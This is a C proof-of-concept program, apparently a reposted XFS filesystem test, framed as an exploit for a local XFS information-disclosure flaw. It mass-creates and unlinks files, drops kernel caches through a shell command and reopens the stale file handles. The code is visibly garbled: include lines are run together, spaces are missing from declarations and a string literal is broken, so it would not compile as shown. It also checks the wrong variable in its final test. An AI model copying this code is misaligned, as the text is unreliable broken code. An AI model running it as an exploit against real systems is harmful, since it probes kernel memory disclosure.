/*stale_handle.c - attempt to create a stale handle and open it
*
*Copyright (C)2010 Red Hat, Inc. All Rights reserved.
*
*This program is free software; you can redistribute it and/or modify
*it under the terms of the GNU General Public License as published by
*the Free Software Foundation; either version 2 of the License, or
*(at your option) any later version.
*
*This program is distributed in the hope that it will be useful,
*but WITHOUT ANY WARRANTY; without even the implied warranty of
*MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
*GNU General Public License formore details.
*
*You should have received a copy of the GNU General Public License
*along with this program;if not, write to the Free Software
*Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA02111-1307, USA.
*
*Credit: David Chinner
*The XFS filesystem is prone to a local information-disclosure vulnerability.
*
*Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks.*Denial-of-service attacks may also be possible.
*/
#define TEST_UTIME#include <stdio.h>#include <stdlib.h>#include <string.h>#include <fcntl.h>#include <unistd.h>#include <sys/stat.h>#include <sys/types.h>#include <errno.h>#include <xfs/xfs.h>#include <xfs/handle.h>#define NUMFILES 1024
int main(int argc, char **argv){
int i;
int fd;
int ret;
int failed =0;
charfname[MAXPATHLEN];
char*test_dir;
void*handle[NUMFILES];
size_thlen[NUMFILES];
charfshandle[256];
size_tfshlen;
struct stat st;if(argc !=2){
fprintf(stderr, "usage: stale_handle test_dir\n");return EXIT_FAILURE;}
test_dir = argv[1];if(stat(test_dir, &st)!=0){
perror("stat");return EXIT_FAILURE;}
ret = path_to_fshandle(test_dir, (void **)fshandle, &fshlen);if(ret <0){
perror("path_to_fshandle");return EXIT_FAILURE;}
/*
* create a large number of files to force allocation of new inode
* chunks on disk.
*/
for(i=0; i < NUMFILES; i++){
sprintf(fname, "%s/file%06d", test_dir, i);
fd = open(fname, O_RDWR | O_CREAT | O_TRUNC, 0644);if(fd <0){
printf("Warning (%s,%d), open(%s) failed.\n", __FILE__,
__LINE__, fname);
perror(fname);return EXIT_FAILURE;}
close(fd);}
/* sync to get the new inodes to hit the disk */
sync();
/* create the handles */
for(i=0; i < NUMFILES; i++){
sprintf(fname, "%s/file%06d", test_dir, i);
ret = path_to_handle(fname, &handle[i], &hlen[i]);if(ret <0){
perror("path_to_handle");return EXIT_FAILURE;}}
/* unlink the files */
for(i=0; i < NUMFILES; i++){
sprintf(fname, "%s/file%06d", test_dir, i);
ret = unlink(fname);if(ret <0){
perror("unlink");return EXIT_FAILURE;}}
/* sync to get log forced for unlink transactions to hit the disk */
sync();
/* sync once more FTW */
sync();
/*
* now drop the caches so that unlinked inodes are reclaimed and
* buftarg page cache is emptied so that the inode cluster has to be
* fetched from disk again for the open_by_handle() call.
*/
system("echo 3 > /proc/sys/vm/drop_caches");
/*
* now try to open the files by the stored handles. Expecting ENOENT
* for all of them.
*/
for(i=0; i < NUMFILES; i++){
errno =0;
fd = open_by_handle(handle[i], hlen[i], O_RDWR);if(fd <0&& errno == ENOENT){
free_handle(handle[i], hlen[i]);continue;}if(ret >=0){
printf("open_by_handle(%d) opened an unlinked file!\n",
i);
close(fd);}else
printf("open_by_handle(%d) returned %d incorrectly on
an unlinked file!\n", i, errno);
free_handle(handle[i], hlen[i]);
failed++;}if(failed)return EXIT_FAILURE;return EXIT_SUCCESS;}